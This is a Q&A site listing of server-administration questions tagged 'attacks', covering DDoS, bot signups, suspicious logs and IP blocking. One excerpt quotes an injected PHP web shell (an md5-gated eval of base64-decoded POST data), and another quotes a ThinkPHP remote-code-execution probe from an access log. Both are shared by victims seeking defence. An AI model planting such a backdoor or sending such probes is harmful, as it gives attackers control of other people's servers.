Questions tagged [attacks]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
4 votes
1 answer
84 views

Abuse report attack on AWS SES

An application that runs on AWS uses SES to send verification emails to new customers. An attacker signs up to the website and reports the verification email as abuse. I'm wondering what options are ...
AscendingEagle's user avatar
0 votes
1 answer
48 views

Securing a secret key on a linux server to be consumed by a software running on the server

I'm not an expert in server security and I have a question regarding a situation where server is being compromised. I have a nodejs app which is a bot that only have https connection to read from some ...
Mostafa's user avatar
0 votes
1 answer
99 views

VM crash - can it be related to SSL errors?

I am not much into server configuration, and I need some help with a problem I am facing. I have an Debian 11 machine with nginx 1.18.0. It frequently crashes around 2:00 - 3:00 am. By inspecting ...
Christoforos's user avatar
0 votes
0 answers
30 views

avoid leaking info whether the user is denied access or typed the incorrect password

I am currently tinkering with the sshd_config and /etc/security/access.d for a large system with 10k+ users. There are so many different ways of restricting user access and it makes my head spin a bit ...
N3buchadnezzar's user avatar
0 votes
0 answers
25 views

Detect website attack by using azure sentinel serviceazure

I have a website which builds on AKS. I'm getting DDoS and other kind of attacks in website. In order to take prevention against such attacks, I'm planning to use the tool Azure Sentinel service. ...
Nandhana Pramod's user avatar
0 votes
0 answers
34 views

Limiting the number of url address characters on the site and blocking it

hackers are slowing down my server They send repeated requests with different IPs They are constantly sending long url addresses like below: mysite.com/asm-nfm555sd5-nfm.mp3asm-dnfm555sd5-nfm....
sanja's user avatar
  • 1
0 votes
0 answers
39 views

Data reconciliation for applications

I need to create a plan for a catastrophic data loss scenario where I need to recover some services (multiple apps each) from bare metal using data backups. The process (i believe) requires the ...
ANURAG MATHUR's user avatar
0 votes
1 answer
254 views

Block IPs without receiving traffic

I'm hosting on OVH Game dedicated server, the bandwitdth of this server is 1gbp/s, I'm receinving attack from other OVH Servers and they are saturating the bandwidth with 1gbp/s. OVH doesn't filter ...
Jais Diaz's user avatar
0 votes
1 answer
93 views

Monitor outgoing specific traffic

I have kinda of an idea but I want to consult. I was following this guide for finding out which php processes spawn outgoing brute force attacks. I found the culprits everything is working fine. Now, ...
whitenoise40's user avatar
0 votes
1 answer
144 views

Can a bots scanning my server change its source ip? Why do I keep getting attacks even after blocking the IP?

I have a PBX (VOIP server) where phones connect in order to make phone calls. The pbx I am using is Asterisk. That server is not being used and it's only purpose is to analyze attacks. The PBX service ...
Tono Nam's user avatar
  • 322
2 votes
1 answer
44 views

How HTTP POSTing to a CSS resource could be useful to an http attacker?

After a surge in network activity, checking the logs of Apache that's serving a casual minimal WordPress site, through a Cloudflare proxy, I see the following entry repeated hundreds of times: 172.71....
Sam Sirry's user avatar
  • 189
0 votes
1 answer
371 views

Stopping UDP Attack

I am now getting support emails from OVH that there is unusual activity on my server. This is a simple server that I have RDP connections for students to access QuickBooks, Excel, and Word, and there ...
QuickBooksRus's user avatar
1 vote
0 answers
442 views

Is someone trying to hack into our system?

I have a CentOS 6 server that has misbehaved over the last couple of weeks. I have tried to trace network, adjust settings, and asked a lot of clever people about it (see more in this question: ...
John Dalsgaard's user avatar
1 vote
1 answer
3k views

Nginx log shows ssl handshake errors

I have seen my nginx error log is full of messages like this: (*date*) [info] 69487#0: *1064573 peer closed connection in SSL handshake while SSL handshaking, client: 95.64.*.*, server: 0.0.0.0:443 (*...
fernandezr's user avatar
0 votes
1 answer
259 views

It seems that a robot is creating a lot of user accounts on my website

I am working on an e-commerce website... there is a bot that keeps creating new users on our website... All the users belong to allmelbet.com and all of them have exactly the same first name and last ...
Hooman Bahreini's user avatar
0 votes
1 answer
118 views

What is uid in snort means

I was writing a snort rule for the specific exploit and then came across one solution that details as "uid=0(root)". Can someone explain what is that and why it is mentioned in order to ...
vigneshwar s's user avatar
0 votes
1 answer
598 views

Remote code execution attacks

It is probably a very stupid question but I would like to confirm. I found lines like 93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&...
Photon's user avatar
  • 101
-5 votes
2 answers
154 views

Can I report malicious ip addresses for money?

My servers get attacks from thousands of ip addresses everyday. I have an idea. Can I report those malicious ip addresses, or use the resource to earn some money? How? You may think these attacks are ...
William's user avatar
  • 109
0 votes
1 answer
89 views

Meaning of Log File (DDOS) [duplicate]

We are currently facing attacks (probably DDOS) on our server. The incoming network traffic goes from an average of 20Mbps to 1Gbps in just 2-3 minutes. The lines in our log files usually look like: ...
arety_'s user avatar
  • 103
0 votes
0 answers
135 views

IS this error an Ancient “su – hostile” vulnerability in Debian 8 & 9 ? $ bash: cannot set terminal process group (-1): Inappropriate ioctl for device

Just received this error >> bash: cannot set terminal process group (-1): Inappropriate ioctl for device then the disk partition went into READ-Only mode ; also noticed gnome-software was ...
Marc Cox's user avatar
0 votes
0 answers
42 views

BigBlueButton getting unusaul traffic

We are running a bare-metal server which can handle 400 concurrent video conferencing users. We are using BigBlueButton application for video conferencing. It was running smoothly for the past 6 ...
Ebin Manuval's user avatar
9 votes
2 answers
4k views

DNS attacks from external IP with port 80, how could that happened?

Just noticed from my DNS server's log, showing someone attack my server through port 80: /var/log/bind.log:31-Jul-2020 03:25:50.536 query-errors: client @0x7f63345948a0 185.107.80.2#36045 (PEACECORPS....
watchsat's user avatar
  • 101
2 votes
0 answers
519 views

Apache PHP REST API handle/block web attack attempts

We're currently running a PHP API (all URL's get rewritten to index.php for route-handeling) on an Apache Debian server. Edit: (I think I might have landed on the wrong StackExchange for this question,...
Bert Maurau's user avatar
0 votes
4 answers
281 views

Stop attacker without affecting others on same IP [closed]

How can I stop a client that's running a multirequest script on my server that reconnects and continues no matter what, without affecting the other people/clients that are connected to my server from ...
Arre's user avatar
  • 3
3 votes
1 answer
103 views

Is this real google bot or attack? How do I deal with it?

So basically my site was unaccessible and I went to logs folder to see what's wrong and noticed a lot of weird requests from various IPs: 155.4.117.13 - - [30/Mar/2020:20:23:45 +0300] "GET / HTTP/1.0"...
me_yy's user avatar
  • 33
0 votes
3 answers
155 views

Sharing IP black lists

Are there any tools similar to fail2ban that would allow sharing of IP black lists? What I'm looking for is something similar to a DNS based blackhole list or real-time blackhole list as is used to ...
Toddinpal's user avatar
  • 101
0 votes
1 answer
272 views

Nginx Redirection Giving unexpected response

I'm using google compute engine as a proxy server using nginx. I make several POST requests to it and it redirects them to a third party server. The issue is, from today I started getting unexpected ...
Abhay Sehgal's user avatar
7 votes
1 answer
478 views

Windows RDP: Attack targeting real account names

We have a Windows 2012 R2 server hosted in a datacenter, and we are using RDP for its administration. Automatic updates are enabled. RDP login is not allowed for the Administrator account, and there ...
Olivier Leneveu's user avatar
4 votes
3 answers
5k views

Lots of connections in SYN_RECV, not a SYN flood, is it some reflection attack?

Since at least a few months, issuing a netstat -t command on our web server, which has TCP ports 22, 80 and 443 exposed to the Internet, often reveals dozens of connections in SYN_RECV status: $ ...
Ale's user avatar
  • 1,723
0 votes
1 answer
2k views

Unusual hits in Apache log for localhost site

I have an Apache 2.2 webserver running on Windows 7 with six virtual hosts set up. Domain name A points to ?:/.../urls/1/ Domain name B points to ?:/.../urls/2/ Domain name C+D point to ?:/.../urls/3/...
fgsfds100's user avatar
1 vote
2 answers
515 views

AWS EC2 instance crashes when scanned by bots

I've created a simple micro EC2 instance based on Amazon Linux AMI for testing an app while I develop it, but it happens that every day it stops answering giving me error 503. It have it's own domain ...
ThyagoTC's user avatar
-1 votes
1 answer
98 views

Am I under ddos attack ? Many random requests (usually to images)

Do requests like these look like a DDOS attack ? 180.157.250.126 /9301451791bb460e8a5aec3e123884ba.jpg <<< match 180.157.250.126 /b29a2302afd6dfd918a2b7c3b6a05e31.jpg <<< match 183....
adrianTNT's user avatar
  • 1,149
0 votes
0 answers
24 views

Cloud server vulnerability analysis [duplicate]

I have multiple Hetzner cloud servers (Ubuntu 18.04) and I have encrypted the home directory with a +128-bit encryption using cryptsetup/LUKS. The server may only be accessed with SSH or Wireguard. ...
Seaotter's user avatar
2 votes
1 answer
2k views

Suspicious ssh log entries (“Accepted none for anonymous”)

I got this log entry chain (and similar repeatedly) on my server: Nov 24 07:38:59 server sshd[28676]: SSH: Server;Ltype: Version;Remote: 54.38.81.12-40482;Protocol: 2.0;Client: OpenSSH_7.2p2 Ubuntu-...
Cigydd's user avatar
  • 21
0 votes
1 answer
1k views

Block injection hacker

I have someone injecting my php files with the following code: if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); } if (strpos($_SERVER['...
sebastian.roibu's user avatar
0 votes
2 answers
194 views

Concrete difference between faults and attacks [closed]

I don't know if it is the good place to ask this question but I believe it is OK. My question is simple: how can one make a difference between a fault and between an attack? A denial of service could ...
Ecterion's user avatar
1 vote
1 answer
2k views

Mitigating 404 bomb with Nginx

I am hit with 404 queries and this is bringing down my machine. Close to all of my pages are http cached and I have some basic Dos protection with limit_conn_zone $http_x_forwarded_for zone=addr:10m;...
Quintin Par's user avatar
  • 4,443
0 votes
0 answers
916 views

apache2 proxy error - are we beeing attacked / hijacked?

We are getting a lot of load since 2 days on our webserver (apache2.4, wordpress + woocommerce, nodeJS server) Now I saw a lot of URLs in the error logs which I dont know. Most of them from china. It ...
Felix Hagspiel's user avatar
0 votes
0 answers
34 views

Safety issue of running exe on a server

I'm pretty new to server-side stuff. The difficult situation is that we want to allow an application installed on the server to run python on the server, but the application server installation guide ...
Penny's user avatar
  • 111
0 votes
4 answers
617 views

Any reasons to not IP ban those that get a HTTP 404? Is it possible and easy?

So I have a WordPress site and we all know how vulnerable WordPress plugins can be and get over time. I'm curious to know what you guys think about possibly just IP banning anyone that get an HTTP 404....
LewlSauce's user avatar
  • 151
0 votes
0 answers
157 views

Nginx rate limiting at server level excluding a particular IP [duplicate]

My server is constantly being flooded and I am looking to limit the connections. I want to do this at the server level (because I have multiple websites) but every now and then I run a cache warm ...
Quintin Par's user avatar
  • 4,443
0 votes
1 answer
85 views

Suspicious logs on ebs, is it some kind of trojan attack?

I found lots of similar logs in cloud watch logs where logs from my ebs application are streaming. I am using Platform: 64bit Amazon Linux 2017.03 v2.5.0 running Java 8 Here are the logs which are ...
Meghraj .'s user avatar
0 votes
2 answers
1k views

Possible attack on my website; excessive traffic to nonexistent page

One of the websites I manage had unusual traffic last month. There was ~6,500 hits on a URL within the site that doesn't exist (the server sent a correct 404 response according to the logs). The URL ...
GeoffAtkins's user avatar
-1 votes
1 answer
75 views

How to deal with these indirect attacks from Facebook and Google bot?

Our site is smashed by Google bot and Facebook: 66.249.90.50 - - [03/Apr/2017:09:26:41 +1000] "GET /news/?vmowv= HTTP/1.1" 200 48925 "-" "Mediapartners-Google" 66.249.90.49 - - [03/Apr/2017:09:26:42 +...
starchx's user avatar
  • 533
2 votes
1 answer
731 views

TMG only windows 2008 r2 installing. NOT WORKING windows server 2012 r2

TMG Forefront only working windows server 2008 or 2008R2 - Not working windows server 2012. How to mitigation windows server 2012R2 - Flood attacks,http attacks ? Please help how to build windows ...
Ahmet Berk Başaran's user avatar
0 votes
2 answers
437 views

Possible SQL Injection and malformed URLs on Drupal Server

We have a Production Drupal server serving content but some pages are broken when a pager link is clicked upon. It was found that the URL's are being changed with unrecognizable keywords. For example, ...
Lego's user avatar
  • 485
0 votes
1 answer
1k views

Drop first packet with iptables

Our servers are getting UDP-flood spoofed ip attacks. I think, we can solve this problem with iptables and i want to make a rule with iptables. When a ip tried to send a udp packet, iptables will ...
impossible's user avatar
1 vote
2 answers
587 views

Typo3 - server attack, too many php requests ends in error 500 and 503

I have an older Typo3 (v4.5.x) site and since a while my server is under attack by a script kiddie. He sends quite some PHP requests of URLs which do not exists on my server. I got so many PHP 500 ...
megloff's user avatar
  • 413
0 votes
1 answer
121 views

Strange connection on ssh serer

So, one day, I decide to check the ssh server logs. Did so, and found something odd. There were about 3 different ips trying to brute-force guess the root password? What should i do, if anything? PS: ...
Lee Ikard's user avatar
0 votes
2 answers
149 views

Server is currently under massive DDoS

Over the past few days, been having a number of problems that I can only describe as a massive DDoS attack one a CENTOS VPS server that is only hosting one website. The website is really slow but not ...
Phorce's user avatar
  • 101